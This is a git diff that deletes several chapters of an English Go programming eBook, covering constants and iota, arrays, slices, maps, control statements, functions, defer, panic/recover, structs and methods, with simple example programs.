group - -If you want to define multiple constants, variables or import packages, you can use the group form. - -Basic form. - - import "fmt" - import "os" - - const i = 100 - const pi = 3.1415 - const prefix = "Go_" - - var i int - var pi float32 - var prefix string - -Group form. - - import( - "fmt" - "os" - ) - - const( - i = 100 - pi = 3.1415 - prefix = "Go_" - ) - - var( - i int - pi float32 - prefix string - ) - -Unless you assign the value of constant is `iota`, the first value of constant in the group `const()` will be `0`. If following constants don't assign values explicitly, their values will be the same as the last one. If the value of last constant is `iota`, the values of following constants which are not assigned are `iota` also. - -### iota enumerate - -Go has one keyword called `iota`, this keyword is to make `enum`, it begins with `0`, increased by `1`. - - const( - x = iota // x == 0 - y = iota // y == 1 - z = iota // z == 2 - w // If there is no expression after the constants name, it uses the last expression, so it's saying w = iota implicitly. Therefore w == 3, and y and x both can omit "= iota" as well. - ) - - const v = iota // once iota meets keyword `const`, it resets to `0`, so v = 0. - - const ( - e, f, g = iota, iota, iota // e=0,f=0,g=0 values of iota are same in one line. - ) - -### Some rules - -The reason that Go is concise because it has some default behaviors. - -- Any variable that begins with a capital letter means it will be exported, private otherwise. -- The same rule applies for functions and constants, no `public` or `private` keyword exists in Go. - -## array, slice, map - -### array - -`array` is array obviously, we define them as follows. - - var arr [n]type - -in `[n]type`, `n` is the length of the array, `type` is the type of its elements. Like other languages, we use `[]` to get or set element values within arrays. - - var arr [10]int // an array of type int - arr[0] = 42 // array is 0-based - arr[1] = 13 // assign value to element - fmt.Printf("The first element is %d\n", arr[0]) // get element value, it returns 42 - fmt.Printf("The last element is %d\n", arr[9]) //it returns default value of 10th element in this array, which is 0 in this case. - -Because length is a part of the array type, `[3]int` and `[4]int` are different types, so we cannot change the length of arrays. When you use arrays as arguments, functions get their copies instead of references! If you want to use references, you may want to use `slice`. We'll talk about later. - -It's possible to use `:=` when you define arrays. - - a := [3]int{1, 2, 3} // define an int array with 3 elements - - b := [10]int{1, 2, 3} // define a int array with 10 elements, of which the first three are assigned. The rest of them use the default value 0. - - c := [...]int{4, 5, 6} // use `…` to replace the length parameter and Go will calculate it for you. - -You may want to use arrays as arrays' elements. Let's see how to do this. - - // define a two-dimensional array with 2 elements, and each element has 4 elements. - doubleArray := [2][4]int{[4]int{1, 2, 3, 4}, [4]int{5, 6, 7, 8}} - - // The declaration can be written more concisely as follows. - easyArray := [2][4]int{{1, 2, 3, 4}, {5, 6, 7, 8}} - -Array underlying data structure. - -![](images/2.2.array.png?raw=true) - -Figure 2.2 Multidimensional array mapping relationship - -### slice - -In many situations, the array type is not a good choice -for instance when we don't know how long the array will be when we define it. Thus, we need a "dynamic array". This is called `slice` in Go. - -`slice` is not really a `dynamic array`. It's a reference type. `slice` points to an underlying `array` whose declaration is similar to `array`, but doesn't need length. - - // just like defining an array, but this time, we exclude the length. - var fslice []int - -Then we define a `slice`, and initialize its data. - - slice := []byte {'a', 'b', 'c', 'd'} - -`slice` can redefine existing slices or arrays. `slice` uses `array[i:j]` to slice, where `i` is the start index and `j` is end index, but notice that `array[j]` will not be sliced since the length of the slice is `j-i`. - - // define a slice with 10 elements whose types are bytes - var ar = [10]byte {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} - - // define two slices with type []byte - var a, b []byte - - // 'a' points to elements from 3rd to 5th in array ar. - a = ar[2:5] - // now 'a' has elements ar[2],ar[3] and ar[4] - - // 'b' is another slice of array ar - b = ar[3:5] - // now 'b' has elements ar[3] and ar[4] - -Notice the differences between `slice` and `array` when you define them. We use `[…]` to let Go calculate length but use `[]` to define slice only. - -Their underlying data structure. - -![](images/2.2.slice.png?raw=true) - -Figure 2.3 Correspondence between slice and array - -slice has some convenient operations. - -- `slice` is 0-based, `ar[:n]` equals to `ar[0:n]` -- The second index will be the length of `slice` if omitted, `ar[n:]` equals to `ar[n:len(ar)]`. -- You can use `ar[:]` to slice whole array, reasons are explained in first two statements. - -More examples pertaining to `slice` - - // define an array - var array = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} - // define two slices - var aSlice, bSlice []byte - - // some convenient operations - aSlice = array[:3] // equals to aSlice = array[0:3] aSlice has elements a,b,c - aSlice = array[5:] // equals to aSlice = array[5:10] aSlice has elements f,g,h,i,j - aSlice = array[:] // equals to aSlice = array[0:10] aSlice has all elements - - // slice from slice - aSlice = array[3:7] // aSlice has elements d,e,f,g,len=4,cap=7 - bSlice = aSlice[1:3] // bSlice contains aSlice[1], aSlice[2], so it has elements e,f - bSlice = aSlice[:3] // bSlice contains aSlice[0], aSlice[1], aSlice[2], so it has d,e,f - bSlice = aSlice[0:5] // slice could be expanded in range of cap, now bSlice contains d,e,f,g,h - bSlice = aSlice[:] // bSlice has same elements as aSlice does, which are d,e,f,g - -`slice` is a reference type, so any changes will affect other variables pointing to the same slice or array. For instance, in the case of `aSlice` and `bSlice` above, if you change the value of an element in `aSlice`, `bSlice` will be changed as well. - -`slice` is like a struct by definition and it contains 3 parts. - -- A pointer that points to where `slice` starts. -- The length of `slice`. -- Capacity, the length from start index to end index of `slice`. - - Array_a := [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} - Slice_a := Array_a[2:5] - -The underlying data structure of the code above as follows. - -![](images/2.2.slice2.png?raw=true) - -Figure 2.4 Array information of slice - -There are some built-in functions for slice. - -- `len` gets the length of `slice`. -- `cap` gets the maximum length of `slice` -- `append` appends one or more elements to `slice`, and returns `slice` . -- `copy` copies elements from one slice to the other, and returns the number of elements that were copied. - -Attention: `append` will change the array that `slice` points to, and affect other slices that point to the same array. Also, if there is not enough length for the slice (`(cap-len) == 0`), `append` returns a new array for this slice. When this happens, other slices pointing to the old array will not be affected. - -### map - -`map` is behaves like a dictionary in Python. Use the form `map[keyType]valueType` to define it. - -Let's see some code. The 'set' and 'get' values in `map` are similar to `slice`, however the index in `slice` can only be of type 'int' while `map` can use much more than that: for example `int`, `string`, or whatever you want. Also, they are all able to use `==` and `!=` to compare values. - - // use string as the key type, int as the value type, and `make` initialize it. - var numbers map[string] int - // another way to define map - numbers := make(map[string]int) - numbers["one"] = 1 // assign value by key - numbers["ten"] = 10 - numbers["three"] = 3 - - fmt.Println("The third number is: ", numbers["three"]) // get values - // It prints: The third number is: 3 - -Some notes when you use map. - -- `map` is disorderly. Everytime you print `map` you will get different results. It's impossible to get values by `index` -you have to use `key`. -- `map` doesn't have a fixed length. It's a reference type just like `slice`. -- `len` works for `map` also. It returns how many `key`s that map has. -- It's quite easy to change the value through `map`. Simply use `numbers["one"]=11` to change the value of `key` one to `11`. - -You can use form `key:val` to initialize map's values, and `map` has built-in methods to check if the `key` exists. - -Use `delete` to delete an element in `map`. - - // Initialize a map - rating := map[string]float32 {"C":5, "Go":4.5, "Python":4.5, "C++":2 } - // map has two return values. For the second return value, if the key doesn't exist,'ok' returns false. It returns true otherwise. - csharpRating, ok := rating["C#"] - if ok { - fmt.Println("C# is in the map and its rating is ", csharpRating) - } else { - fmt.Println("We have no rating associated with C# in the map") - } - - delete(rating, "C") // delete element with key "c" - -As I said above, `map` is a reference type. If two `map`s point to same underlying data, any change will affect both of them. - - m := make(map[string]string) - m["Hello"] = "Bonjour" - m1 := m - m1["Hello"] = "Salut" // now the value of m["hello"] is Salut - -### make, new - -`make` does memory allocation for built-in models, such as `map`, `slice`, and `channel`), while `new` is for types' memory allocation. - -`new(T)` allocates zero-value to type `T`'s memory, returns its memory address, which is the value of type `*T`. By Go's definition, it returns a pointer which points to type `T`'s zero-value. - -`new` returns pointers. - -The built-in function `make(T, args)` has different purposes than `new(T)`. `make` can be used for `slice`, `map`, and `channel`, and returns a type `T` with an initial value. The reason for doing this is because the underlying data of these three types must be initialized before they point to them. For example, a `slice` contains a pointer that points to the underlying `array`, length and capacity. Before these data are initialized, `slice` is `nil`, so for `slice`, `map` and `channel`, `make` initializes their underlying data and assigns some suitable values. - -`make` returns non-zero values. - -The following picture shows how `new` and `make` are different. - -![](images/2.2.makenew.png?raw=true) - -Figure 2.5 Underlying memory allocation of make and new - -Zero-value does not mean empty value. It's the value that variables default to in most cases. Here is a list of some zero-values. - - int 0 - int8 0 - int32 0 - int64 0 - uint 0x0 - rune 0 // the actual type of rune is int32 - byte 0x0 // the actual type of byte is uint8 - float32 0 // length is 4 byte - float64 0 //length is 8 byte - bool false - string "" - -## Links - -- [Directory](preface.md) -- Previous section: ["Hello, Go"](02.1.md) -- Next section: [Control statements and functions](02.3.md) diff --git a/en/eBook/02.3.md b/en/eBook/02.3.md deleted file mode 100644 index 585e4c76..00000000 --- a/en/eBook/02.3.md +++ /dev/null @@ -1,516 +0,0 @@ -# 2.3 Control statements and functions - -In this section, we are going to talk about control statements and function operations in Go. - -## Control statement - -The greatest invention in programming is flow control. Because of them, you are able to use simple control statements that can be used to represent complex logic. There are three categories of flow control: conditional, cycle control and unconditional jump. - -### if - -`if` will most likely be the most common keyword in your programs. If it meets the conditions, then it does something and it does something else if not. - -`if` doesn't need parentheses in Go. - - if x > 10 { - fmt.Println("x is greater than 10") - } else { - fmt.Println("x is less than 10") - } - -The most useful thing concerning `if` in Go is that it can have one initialization statement before the conditional statement. The scope of the variables defined in this initialization statement are only available inside the block of the defining `if`. - - // initialize x, then check if x greater than - if x := computedValue(); x > 10 { - fmt.Println("x is greater than 10") - } else { - fmt.Println("x is less than 10") - } - - // the following code will not compile - fmt.Println(x) - -Use if-else for multiple conditions. - - if integer == 3 { - fmt.Println("The integer is equal to 3") - } else if integer < 3 { - fmt.Println("The integer is less than 3") - } else { - fmt.Println("The integer is greater than 3") - } - -### goto - -Go has a `goto` keyword, but be careful when you use it. `goto` reroutes the control flow to a previously defined `label` within the body of same code block. - - func myFunc() { - i := 0 - Here: // label ends with ":" - fmt.Println(i) - i++ - goto Here // jump to label "Here" - } - -The label name is case sensitive. - -### for - -`for` is the most powerful control logic in Go. It can read data in loops and iterative operations, just like `while`. - - for expression1; expression2; expression3 { - //... - } - -`expression1`, `expression2` and `expression3` are all expressions, where `expression1` and `expression3` are variable definitions or return values from functions, and `expression2` is a conditional statement. `expression1` will be executed before every loop, and `expression3` will be executed after. - -Examples are more useful than words. - - package main - import "fmt" - - func main(){ - sum := 0; - for index:=0; index < 10 ; index++ { - sum += index - } - fmt.Println("sum is equal to ", sum) - } - // Print:sum is equal to 45 - -Sometimes we need multiple assignments, but Go doesn't have the `,` operator, so we use parallel assignment like `i, j = i + 1, j - 1`. - -We can omit `expression1` and `expression3` if they are not necessary. - - sum := 1 - for ; sum < 1000; { - sum += sum - } - -Omit `;` as well. Feel familiar? Yes, it's identical to `while`. - - sum := 1 - for sum < 1000 { - sum += sum - } - -There are two important operations in loops which are `break` and `continue`. `break` jumps out of the loop, and `continue` skips the current loop and starts the next one. If you have nested loops, use `break` along with labels. - - for index := 10; index>0; index-- { - if index == 5{ - break // or continue - } - fmt.Println(index) - } - // break prints 10、9、8、7、6 - // continue prints 10、9、8、7、6、4、3、2、1 - -`for` can read data from `slice` and `map` when it is used together with `range`. - - for k,v:=range map { - fmt.Println("map's key:",k) - fmt.Println("map's val:",v) - } - -Because Go supports multi-value returns and gives compile errors when you don't use values that were defined, you may want to use `_` to discard certain return values. - - for _, v := range map{ - fmt.Println("map's val:", v) - } - -### switch - -Sometimes you may find that you are using too many `if-else` statements to implement some logic, which may make it difficult to read and maitain in the future. This is the perfect time to use the `switch` statement to solve this problem. - - switch sExpr { - case expr1: - some instructions - case expr2: - some other instructions - case expr3: - some other instructions - default: - other code - } - -The type of `sExpr`, `expr1`, `expr2`, and `expr3` must be the same. `switch` is very flexible. Conditions don't have to be constants and it executes from top to bottom until it matches conditions. If there is no statement after the keyword `switch`, then it matches `true`. - - i := 10 - switch i { - case 1: - fmt.Println("i is equal to 1") - case 2, 3, 4: - fmt.Println("i is equal to 2, 3 or 4") - case 10: - fmt.Println("i is equal to 10") - default: - fmt.Println("All I know is that i is an integer") - } - -In the fifth line, we put many values in one `case`, and we don't need to add the `break` keyword at the end of `case`'s body. It will jump out of the switch body once it matched any case. If you want to continue to matching more cases, you need to use the`fallthrough` statement. - - integer := 6 - switch integer { - case 4: - fmt.Println("integer <= 4") - fallthrough - case 5: - fmt.Println("integer <= 5") - fallthrough - case 6: - fmt.Println("integer <= 6") - fallthrough - case 7: - fmt.Println("integer <= 7") - fallthrough - case 8: - fmt.Println("integer <= 8") - fallthrough - default: - fmt.Println("default case") - } - -This program prints the following information. - - integer <= 6 - integer <= 7 - integer <= 8 - default case - -## Functions - -Use the `func` keyword to define a function. - - func funcName(input1 type1, input2 type2) (output1 type1, output2 type2) { - // function body - // multi-value return - return value1, value2 - } - -We can extrapolate the following information from the example above. - -- Use keyword `func` to define a function `funcName`. -- Functions have zero, one or more than one arguments. The argument type comes after the argument name and arguments are separated by `,`. -- Functions can return multiple values. -- There are two return values named `output1` and `output2`, you can omit their names and use their type only. -- If there is only one return value and you omitted the name, you don't need brackets for the return values. -- If the function doesn't have return values, you can omit the return parameters altogether. -- If the function has return values, you have to use the `return` statement somewhere in the body of the function. - -Let's see one practical example. (calculate maximum value) - - package main - import "fmt" - - // return greater value between a and b - func max(a, b int) int { - if a > b { - return a - } - return b - } - - func main() { - x := 3 - y := 4 - z := 5 - - max_xy := max(x, y) // call function max(x, y) - max_xz := max(x, z) // call function max(x, z) - - fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy) - fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz) - fmt.Printf("max(%d, %d) = %d\n", y, z, max(y,z)) // call function here - } - -In the above example, there are two arguments in the function `max`, their types are both `int` so the first type can be omitted. For instance, `a, b int` instead of `a int, b int`. The same rules apply for additional arguments. Notice here that `max` only has one return value, so we only need to write the type of its return value -this is the short form of writing it. - -### Multi-value return - -One thing that Go is better at than C is that it supports multi-value returns. - -We'll use the following example here. - - package main - import "fmt" - - // return results of A + B and A * B - func SumAndProduct(A, B int) (int, int) { - return A+B, A*B - } - - func main() { - x := 3 - y := 4 - - xPLUSy, xTIMESy := SumAndProduct(x, y) - - fmt.Printf("%d + %d = %d\n", x, y, xPLUSy) - fmt.Printf("%d * %d = %d\n", x, y, xTIMESy) - } - -The above example returns two values without names -you have the option of naming them also. If we named the return values, we would just need to use `return` to return the values since they are initialized in the function automatically. Notice that if your functions are going to be used outside of the package, which means your function names start with a capital letter, you'd better write complete statements for `return`; it makes your code more readable. - - func SumAndProduct(A, B int) (add int, Multiplied int) { - add = A+B - Multiplied = A*B - return - } - -### Variable arguments - -Go supports variable arguments, which means you can give an uncertain numbers of argument to functions. - - func myfunc(arg ...int) {} - -`arg …int` tells Go that this is a function that has variable arguments. Notice that these arguments are type `int`. In the body of function, the `arg` becomes a `slice` of `int`. - - for _, n := range arg { - fmt.Printf("And the number is: %d\n", n) - } - -### Pass by value and pointers - -When we pass an argument to the function that was called, that function actually gets the copy of our variables so any change will not affect to the original variable. - -Let's see one example in order to prove what i'm saying. - - package main - import "fmt" - - // simple function to add 1 to a - func add1(a int) int { - a = a+1 // we change value of a - return a // return new value of a - } - - func main() { - x := 3 - - fmt.Println("x = ", x) // should print "x = 3" - - x1 := add1(x) // call add1(x) - - fmt.Println("x+1 = ", x1) // should print "x+1 = 4" - fmt.Println("x = ", x) // should print "x = 3" - } - -Did you see that? Even though we called `add1`, and `add1` adds one to `a`, the value of `x` doesn't change. - -The reason is very simple: when we called `add1`, we gave a copy of `x` to it, not the `x` itself. - -Now you may ask how I can pass the real `x` to the function. - -We need use pointers here. We know variables are stored in memory and that they all have memory addresses. So, if we want to change the value of a variable, we must change the value at that variable's memory address. Therefore the function `add1` has to know the memory address of `x` in order to change its value. Here we pass `&x` to the function, and change the argument's type to the pointer type `*int`. Be aware that we pass a copy of the pointer, not copy of value. - - package main - import "fmt" - - // simple function to add 1 to a - func add1(a *int) int { - *a = *a+1 // we changed value of a - return *a // return new value of a - } - - func main() { - x := 3 - - fmt.Println("x = ", x) // should print "x = 3" - - x1 := add1(&x) // call add1(&x) pass memory address of x - - fmt.Println("x+1 = ", x1) // should print "x+1 = 4" - fmt.Println("x = ", x) // should print "x = 4" - } - -Now we can change the value of `x` in the functions. Why do we use pointers? What are the advantages? - -- Allows us to use more functions to operate on one variable. -- Low cost by passing memory addresses (8 bytes), copy is not an efficient way, both in terms of time and space, to pass variables. -- `string`, `slice`, `map` are reference types, so they use pointers when passing to functions by default. (Attention: If you need to change the length of `slice`, you have to pass pointers explicitly) - -### defer - -Go has a well designed keyword called `defer`. You can have many `defer` statements in one function; they will execute in reverse order when the program executes to the end of functions. In the case where the program opens some resource files, these files would have to be closed before the function can return with errors. Let's see some examples. - - func ReadWrite() bool { - file.Open("file") - // Do some work - if failureX { - file.Close() - return false - } - - if failureY { - file.Close() - return false - } - - file.Close() - return true - } - -We saw some code being repeated several times. `defer` solves this problem very well. It doesn't only help you to write clean code but also makes your code more readable. - - func ReadWrite() bool { - file.Open("file") - defer file.Close() - if failureX { - return false - } - if failureY { - return false - } - return true - } - -If there are more than one `defer`s, they will execute by reverse order. The following example will print `4 3 2 1 0`. - - for i := 0; i < 5; i++ { - defer fmt.Printf("%d ", i) - } - -### Functions as values and types - -Functions are also variables in Go, we can use `type` to define them. Functions that have the same signature can be seen as the same type. - - type typeName func(input1 inputType1 , input2 inputType2 [, ...]) (result1 resultType1 [, ...]) - -What's the advantage of this feature? The answer is that it allows us to pass functions as values. - - package main - import "fmt" - - type testInt func(int) bool // define a function type of variable - - func isOdd(integer int) bool { - if integer%2 == 0 { - return false - } - return true - } - - func isEven(integer int) bool { - if integer%2 == 0 { - return true - } - return false - } - - // pass the function `f` as an argument to another function - - func filter(slice []int, f testInt) []int { - var result []int - for _, value := range slice { - if f(value) { - result = append(result, value) - } - } - return result - } - - func main(){ - slice := []int {1, 2, 3, 4, 5, 7} - fmt.Println("slice = ", slice) - odd := filter(slice, isOdd) // use function as values - fmt.Println("Odd elements of slice are: ", odd) - even := filter(slice, isEven) - fmt.Println("Even elements of slice are: ", even) - } - -It's very useful when we use interfaces. As you can see `testInt` is a variable that has function type, and return values and arguments of `filter` are the same as `testInt`. Therefore, we can have complex logic in our programs, while maintaining flexibility in our code. - -### Panic and Recover - -Go doesn't have `try-catch` structure like Java does. Instead of throwing exceptions, Go uses `panic` and `recover` to deal with errors. However, you shouldn't use `panic` very much, although it's powerful. - -Panic is a built-in function to break the normal flow of programs and get into panic status. When a function `F` calls `panic`, `F` will not continue executing but its `defer` functions will continue to execute. Then `F` goes back to the break point which caused the panic status. The program will not terminate until all of these functions return with panic to the first level of that `goroutine`. `panic` can be produced by calling `panic` in the program, and some errors also cause `panic` like array access out of bounds errors. - -Recover is a built-in function to recover `goroutine`s from panic status. Calling `recover` in `defer` functions is useful because normal functions will not be executed when the program is in the panic status. It catches `panic` values if the program is in the panic status, and it gets `nil` if the program is not in panic status. - -The following example shows how to use `panic`. - - var user = os.Getenv("USER") - - func init() { - if user == "" { - panic("no value for $USER") - } - } - -The following example shows how to check `panic`. - - func throwsPanic(f func()) (b bool) { - defer func() { - if x := recover(); x != nil { - b = true - } - }() - f() // if f causes panic, it will recover - return - } - -### `main` function and `init` function - -Go has two retentions which are called `main` and `init`, where `init` can be used in all packages and `main` can only be used in the `main` package. These two functions are not able to have arguments or return values. Even though we can write many `init` functions in one package, I strongly recommend writing only one `init` function for each package. - -Go programs will call `init()` and `main()` automatically, so you don't need to call them by yourself. For every package, the `init` function is optional, but `package main` has one and only one `main` function. - -Programs initialize and begin execution from the `main` package. If the `main` package imports other packages, they will be imported in the compile time. If one package is imported many times, it will be only compiled once. After importing packages, programs will initialize the constants and variables within the imported packages, then execute the `init` function if it exists, and so on. After all the other packages are initialized, programs will initialize constants and variables in the `main` package, then execute the `init` function inside the package if it exists. The following figure shows the process. - -![](images/2.3.init.png?raw=true) - -Figure 2.6 Flow of programs initialization in Go - -### import - -We use `import` very often in Go programs as follows. - - import( - "fmt" - ) - -Then we use functions in that package as follows. - - fmt.Println("hello world") - -`fmt` is from Go standard library, it is located within $GOROOT/pkg. Go supports third-party packages in two ways. - -1. Relative path - import "./model" // load package in the same directory, I don't recommend this way. -2. Absolute path - import "shorturl/model" // load package in path "$GOPATH/pkg/shorturl/model" - -There are some special operators when we import packages, and beginners are always confused by these operators. - -1. Dot operator. - Sometime we see people use following way to import packages. - - import( - . "fmt" - ) - - The dot operator means you can omit the package name when you call functions inside of that package. Now `fmt.Printf("Hello world")` becomes to `Printf("Hello world")`. -2. Alias operation. - It changes the name of the package that we imported when we call functions that belong to that package. - - import( - f "fmt" - ) - - Now `fmt.Printf("Hello world")` becomes to `f.Printf("Hello world")`. -3. `_` operator. - This is the operator that is difficult to understand without someone explaining it to you. - - import ( - "database/sql" - _ "github.com/ziutek/mymysql/godrv" - ) - - The `_` operator actually means we just want to import that package and execute its `init` function, and we are not sure if want to use the functions belonging to that package. - -## Links - -- [Directory](preface.md) -- Previous section: [Go foundation](02.2.md) -- Next section: [struct](02.4.md) diff --git a/en/eBook/02.4.md b/en/eBook/02.4.md deleted file mode 100644 index ac01d584..00000000 --- a/en/eBook/02.4.md +++ /dev/null @@ -1,214 +0,0 @@ -# 2.4 struct - -## struct - -We can define new types of containers of other properties or fields in Go just like in other programming languages. For example, we can create a type called `person` to represent a person, with fields name and age. We call this kind of type a `struct`. - - type person struct { - name string - age int - } - -Look how easy it is to define a `struct`! - -There are two fields. - -- `name` is a `string` used to store a person's name. -- `age` is a `int` used to store a person's age. - -Let's see how to use it. - - type person struct { - name string - age int - } - - var P person // p is person type - - P.name = "Astaxie" // assign "Astaxie" to the field 'name' of p - P.age = 25 // assign 25 to field 'age' of p - fmt.Printf("The person's name is %s\n", P.name) // access field 'name' of p - -There are three more ways to define a struct. - -- Assign initial values by order - - P := person{"Tom", 25} - -- Use the format `field:value` to initialize the struct without order - - P := person{age:24, name:"Bob"} - -- Define an anonymous struct, then initialize it - - P := struct{name string; age int}{"Amy",18} - -Let's see a complete example. - - package main - import "fmt" - - // define a new type - type person struct { - name string - age int - } - - // compare the age of two people, then return the older person and differences of age - // struct is passed by value - func Older(p1, p2 person) (person, int) { - if p1.age>p2.age { - return p1, p1.age-p2.age - } - return p2, p2.age-p1.age - } - - func main() { - var tom person - - // initialization - tom.name, tom.age = "Tom", 18 - - // initialize two values by format "field:value" - bob := person{age:25, name:"Bob"} - - // initialize two values with order - paul := person{"Paul", 43} - - tb_Older, tb_diff := Older(tom, bob) - tp_Older, tp_diff := Older(tom, paul) - bp_Older, bp_diff := Older(bob, paul) - - fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, bob.name, tb_Older.name, tb_diff) - - fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, paul.name, tp_Older.name, tp_diff) - - fmt.Printf("Of %s and %s, %s is older by %d years\n", bob.name, paul.name, bp_Older.name, bp_diff) - } - -### embedded fields in struct - -I've just introduced to you how to define a struct with field names and type. In fact, Go supports fields without names, but with types. We call these embedded fields. - -When the embedded field is a struct, all the fields in that struct will implicitly be the fields in the struct in which it has been embdedded. - -Let's see one example. - - package main - import "fmt" - - type Human struct { - name string - age int - weight int - } - - type Student struct { - Human // embedded field, it means Student struct includes all fields that Human has. - speciality string - } - - func main() { - // initialize a student - mark := Student{Human{"Mark", 25, 120}, "Computer Science"} - - // access fields - fmt.Println("His name is ", mark.name) - fmt.Println("His age is ", mark.age) - fmt.Println("His weight is ", mark.weight) - fmt.Println("His speciality is ", mark.speciality) - // modify notes - mark.speciality = "AI" - fmt.Println("Mark changed his speciality") - fmt.Println("His speciality is ", mark.speciality) - // modify age - fmt.Println("Mark become old") - mark.age = 46 - fmt.Println("His age is", mark.age) - // modify weight - fmt.Println("Mark is not an athlet anymore") - mark.weight += 60 - fmt.Println("His weight is", mark.weight) - } - -![](images/2.4.student_struct.png?raw=true) - -Figure 2.7 Inheritance in Student and Human - -We see that we can access the age and name fields in Student just like we can in Human. This is how embedded fields work. It's very cool, isn't it? Hold on, there's something cooler! You can even use Student to access Human in this embedded field! - - mark.Human = Human{"Marcus", 55, 220} - mark.Human.age -= 1 - -All the types in Go can be used as embedded fields. - - package main - import "fmt" - - type Skills []string - - type Human struct { - name string - age int - weight int - } - - type Student struct { - Human // struct as embedded field - Skills // string slice as embedded field - int // built-in type as embedded field - speciality string - } - - func main() { - // initialize Student Jane - jane := Student{Human:Human{"Jane", 35, 100}, speciality:"Biology"} - // access fields - fmt.Println("Her name is ", jane.name) - fmt.Println("Her age is ", jane.age) - fmt.Println("Her weight is ", jane.weight) - fmt.Println("Her speciality is ", jane.speciality) - // modify value of skill field - jane.Skills = []string{"anatomy"} - fmt.Println("Her skills are ", jane.Skills) - fmt.Println("She acquired two new ones ") - jane.Skills = append(jane.Skills, "physics", "golang") - fmt.Println("Her skills now are ", jane.Skills) - // modify embedded field - jane.int = 3 - fmt.Println("Her preferred number is", jane.int) - } - -In the above example, we can see that all types can be embedded fields and we can use functions to operate on them. - -There is one more problem however. If Human has a field called `phone` and Student has a field with same name, what should we do? - -Go use a very simple way to solve it. The outer fields get upper access levels, which means when you access `student.phone`, we will get the field called phone in student, not the one in the Human struct. This feature can be simply seen as field `overload`ing. - - package main - import "fmt" - - type Human struct { - name string - age int - phone string // Human has phone field - } - - type Employee struct { - Human // embedded field Human - speciality string - phone string // phone in employee - } - - func main() { - Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"} - fmt.Println("Bob's work phone is:", Bob.phone) - // access phone field in Human - fmt.Println("Bob's personal phone is:", Bob.Human.phone) - } - -## Links - -- [Directory](preface.md) -- Previous section: [Control statements and functions](02.3.md) -- Next section: [Object-oriented](02.5.md) diff --git a/en/eBook/02.5.md b/en/eBook/02.5.md deleted file mode 100644 index c187beb6..00000000 --- a/en/eBook/02.5.md +++ /dev/null @@ -1,307 +0,0 @@ -# Object-oriented - -We talked about functions and structs in the last two sections, but did you ever consider using functions as fields of a struct? In this section, I will introduce you to another form of method that has a receiver, which is called `method`. - -## method - -Suppose you define a "rectangle" struct and you want to calculate its area. We'd typically use the following code to achieve this goal. - - package main - import "fmt" - - type Rectangle struct { - width, height float64 - } - - func area(r Rectangle) float64 { - return r.width*r.height - } - - func main() { - r1 := Rectangle{12, 2} - r2 := Rectangle{9, 4} - fmt.Println("Area of r1 is: ", area(r1)) - fmt.Println("Area of r2 is: ", area(r2)) - } - -The above example can calculate a rectangle's area. We use the function called `area`, but it's not a method of the rectangle struct (like class methods in classic object-oriented languages). The function and struct are two independent things as you may notice. - -It's not a problem so far. However, if you also have to calculate the area of a circle, square, pentagon, or any other kind of shape, you are going to need to add additional functions with very similar names. - -![](images/2.5.rect_func_without_receiver.png?raw=true) - -Figure 2.8 Relationship between function and struct - -Obviously that's not cool. Also, the area should really be the property of a circle or rectangle. - -For those reasons, we have the `method` concept. `method` is affiliated with type. It has the same syntax as functions do except for an additional parameter after the `func` keyword called the `receiver`, which is the main body of that method. - -Using the same example, `Rectangle.area()` belongs directly to rectangle, instead of as a peripheral function. More specifically, `length`, `width` and `area()` all belong to rectangle. - -As Rob Pike said. - - "A method is a function with an implicit first argument, called a receiver." - -Syntax of method. - - func (r ReceiverType) funcName(parameters) (results) - -Let's change our example using `method` instead. - - package main - import ( - "fmt" - "math" - ) - - type Rectangle struct { - width, height float64 - } - - type Circle struct { - radius float64 - } - - func (r Rectangle) area() float64 { - return r.width*r.height - } - - func (c Circle) area() float64 { - return c.radius * c.radius * math.Pi - } - - func main() { - r1 := Rectangle{12, 2} - r2 := Rectangle{9, 4} - c1 := Circle{10} - c2 := Circle{25} - - fmt.Println("Area of r1 is: ", r1.area()) - fmt.Println("Area of r2 is: ", r2.area()) - fmt.Println("Area of c1 is: ", c1.area()) - fmt.Println("Area of c2 is: ", c2.area()) - } - -Notes for using methods. - -- If the name of methods are the same but they don't share the same receivers, they are not the same. -- Methods are able to access fields within receivers. -- Use `.` to call a method in the struct, the same way fields are called. - -![](images/2.5.shapes_func_with_receiver_cp.png?raw=true) - -Figure 2.9 Methods are different in different structs - -In the example above, the area() methods belong to both Rectangle and Circle respectively, so the receivers are Rectangle and Circle. - -One thing that's worth noting is that the method with a dotted line means the receiver is passed by value, not by reference. The difference between them is that a method can change its receiver's values when the receiver is passed by reference, and it gets a copy of the receiver when the receiver is passed by value. - -Can the receiver only be a struct? Of course not. Any type can be the receiver of a method. You may be confused about customized types. Struct is a special kind of customized type -there are more customized types. - -Use the following format to define a customized type. - - type typeName typeLiteral - -Examples of customized types: - - type ages int - - type money float32 - - type months map[string]int - - m := months { - "January":31, - "February":28, - ... - "December":31, - } - -I hope that you know how to use customized types now. Similar to `typedef` in C, we use `ages` to substitute `int` in the above example. - -Let's get back to talking about `method`. - -You can use as many methods in custom types as you want. - - package main - import "fmt" - - const( - WHITE = iota - BLACK - BLUE - RED - YELLOW - ) - - type Color byte - - type Box struct { - width, height, depth float64 - color Color - } - - type BoxList []Box //a slice of boxes - - func (b Box) Volume() float64 { - return b.width * b.height * b.depth - } - - func (b *Box) SetColor(c Color) { - b.color = c - } - - func (bl BoxList) BiggestsColor() Color { - v := 0.00 - k := Color(WHITE) - for _, b := range bl { - if b.Volume() > v { - v = b.Volume() - k = b.color - } - } - return k - } - - func (bl BoxList) PaintItBlack() { - for i, _ := range bl { - bl[i].SetColor(BLACK) - } - } - - func (c Color) String() string { - strings := []string {"WHITE", "BLACK", "BLUE", "RED", "YELLOW"} - return strings[c] - } - - func main() { - boxes := BoxList { - Box{4, 4, 4, RED}, - Box{10, 10, 1, YELLOW}, - Box{1, 1, 20, BLACK}, - Box{10, 10, 1, BLUE}, - Box{10, 30, 1, WHITE}, - Box{20, 20, 20, YELLOW}, - } - - fmt.Printf("We have %d boxes in our set\n", len(boxes)) - 